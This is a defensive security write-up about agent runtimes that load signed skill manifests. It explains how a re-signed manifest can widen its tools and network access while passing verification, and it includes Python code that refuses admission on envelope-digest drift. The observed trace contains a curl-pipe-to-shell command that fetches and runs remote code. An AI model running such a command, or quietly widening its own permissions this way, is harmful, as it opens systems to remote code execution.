# What structural signals indicate a skill manifest has been re-signed under a drifted capability envelope **Date of Record:** 2026 November 26 **Scope:** Applies to agent runtimes that dynamically load skills/plugins from a registry and gate them on a signed manifest whose capability envelope (declared tools, scopes, egress allowlist, filesystem roots) is attested by a provenance signature. Does not apply to statically linked, build-time-only tool bindings, nor to runtimes where the manifest and the executable body are covered by a single atomic signature over the same digest. ## Core Distinction The failure is not "an unsigned skill got loaded." The failure is that a skill was **correctly signed, correctly verified, and still expanded its authority** — because provenance attestation was bound to the *identity and version* of the skill, not to the *capability envelope* it declares. A re-signed manifest that is byte-identical in `name`, `version`, and `publisher` but wider in `tools`, `egress`, or `fs_roots` passes every signature check. The signature says "the publisher vouches for skill X v1.4.2." It does not say "the publisher vouches for skill X v1.4.2 *with these exact permissions*." The structural signal is therefore a **divergence between two digests that verification treats as one**: the digest of the manifest's identity fields (which the signature covers) and the digest of the manifest's capability fields (which the signature frequently does not). When those two digests can move independently, the envelope is mutable under a stable attestation — and that is the injection surface. ## What Was Observed A skill `summarize-docs` was pinned at v1.4.2 with envelope `tools: [read_file, http_get]`, `egress: [docs.internal]`. The runtime's loader verified the provenance signature over the manifest, confirmed `name`/`version`/`publisher` matched the lockfile pin, and admitted the skill. No alert fired. The manifest that was actually loaded carried the *same* signed identity block but an envelope of `tools: [read_file, http_get, shell_exec]`, `egress: [docs.internal, *]`. The signature verified because the attestation payload was `sign(publisher_key, H(name || version || publisher))` — the capability block was outside the signed region. The publisher's registry had re-issued a signature for the same identity after an internal "convenience" change to the manifest template; the runtime had no way to see that the envelope had grown, because it never compared envelope digests across the pin boundary. The observable trace, in order: 1. Loader fetches manifest, computes `identity_digest = H(name||version||publisher)`. 2. Loader verifies `signature` against `identity_digest` → **PASS**. 3. Loader compares `(name, version, publisher)` to lockfile pin → **MATCH**. 4. Loader admits skill, registers tool handles from `envelope.tools` **without** checking them against any pinned envelope. 5. First invocation of the skill issues `shell_exec("curl ... | sh")` against an egress host not in the original allowlist. The egress guard was configured from the *live* manifest, not the *pinned* one, so it allowed the call. The skill was not malicious at v1.4.2. The manifest was. The signature was valid. Every check passed. The injection succeeded because the attestation's *scope of meaning* — what the publisher was actually vouching for — was narrower than the runtime's *scope of trust*. ## Condition of Validity The guardrail only holds when all of the following are true; if any fails, the boundary is open: - **Envelope is inside the signed region.** The attestation payload must be `H(identity || canonical(envelope))`, where `canonical(envelope)` is a deterministic serialization (sorted keys, fixed field set, no trailing-optional defaults). If the envelope is not signed, no downstream check can recover the guarantee. - **Envelope digest is pinned, not just identity.** The lockfile must store `envelope_digest` alongside `(name, version)`. Admitting a manifest whose `envelope_digest` differs from the pin is a **hard fail**, not a warning — even if the signature is valid, because a valid signature over a widened envelope is exactly the attack. - **Envelope comparison is field-complete and monotone.** New tool grants, new egress entries, new fs roots, and *widened globs* (`docs.internal` → `*.internal`) are all envelope changes. A comparison that only checks set membership of tool names misses glob widening, which is the most common quiet escalation. - **Egress and fs guards are configured from the pinned envelope, not the live manifest.** If the runtime builds its allowlist from whatever the manifest currently says, the pin is decorative. The invariant: **for any admitted skill, `envelope_digest(live) == envelope_digest(pinned)` OR admission is refused.** Authority is a function of the pin, never of the presented manifest. ## Decision Boundary The boundary between "re-sign is a routine update" and "re-sign is an injection" is whether the envelope moved. Concretely: - Same `envelope_digest`, new signature (key rotation, re-issue): **admit**, log the re-sign event. - Different `envelope_digest`, same `(name, version)`: **refuse and quarantine.** This is the signature of an envelope drift under a stable identity — the exact condition skill-injection exploits. - Different `envelope_digest`, bumped `version`: **refuse pending re-pin.** A version bump is a legitimate path to wider authority, but it must go through explicit operator re-pin, not silent acceptance. The runtime cannot distinguish "publisher shipped a feature" from "attacker widened the envelope and bumped the patch number" without a human or policy decision. - Envelope *narrowed* (fewer tools, tighter egress): still refuse on digest mismatch, but surface as low-severity — narrowing is safe to re-pin automatically under most policies, and refusing it silently trains operators to ignore the alarm. The decision must be made on the digest, not on a semantic diff, because semantic diffs are where runtimes get clever and wrong: a diff that "looks like a minor addition" is how `shell_exec` gets waved through. ## Operational Effect Without the envelope-digest pin, provenance attestation degrades into **identity attestation** — it proves *who* shipped the skill, not *what the skill is allowed to do*. That is sufficient for supply-chain integrity of the code body and insufficient for authority. The gap is precisely the width of the capability envelope, and it is the width an attacker needs. With the pin in place, the failure mode inverts: a widened manifest under a stable identity becomes a **loud, blocking event** rather than a silent admission. The cost is operational — every legitimate envelope change requires a re-pin step — but that cost is the point: authority expansion becomes an explicit, auditable act rather than a side effect of a re-sign. The invariant to carry forward is that a signature over identity is not a signature over authority, and any loader that conflates them has an open injection path regardless of how strong its cryptography is. ```python import hashlib import json from dataclasses import dataclass from typing import Any class EnvelopeDriftError(RuntimeError): """Raised when a signed manifest's capability envelope diverges from its pin.""" @dataclass(frozen=True) class Pin: name: str version: str envelope_digest: str def canonical_envelope(envelope: dict[str, Any]) -> bytes: # Deterministic serialization: sorted keys, no whitespace, fixed field set. # Any field the runtime will act on MUST be included here or it is not covered. fields = ("tools", "egress", "fs_roots") normalized = {f: sorted(envelope.get(f, [])) for f in fields} return json.dumps(normalized, sort_keys=True, separators=(",", ":")).encode() def envelope_digest(envelope: dict[str, Any]) -> str: return hashlib.sha256(canonical_envelope(envelope)).hexdigest() def admit_skill(manifest: dict[str, Any], pin: Pin, signature_valid: bool) -> None: if not signature_valid: raise EnvelopeDriftError("provenance signature failed verification") if (manifest["name"], manifest["version"]) != (pin.name, pin.version): raise EnvelopeDriftError( f"identity mismatch: live={manifest['name']}@{manifest['version']} " f"pin={pin.name}@{pin.version}" ) live_digest = envelope_digest(manifest["envelope"]) if live_digest != pin.envelope_digest: # Valid signature over a widened envelope is the injection condition. # Refuse; do not fall back to the live envelope for egress/fs guards. raise EnvelopeDriftError( f"envelope drift under stable identity: live={live_digest} " f"pinned={pin.envelope_digest}; re-pin required" ) ```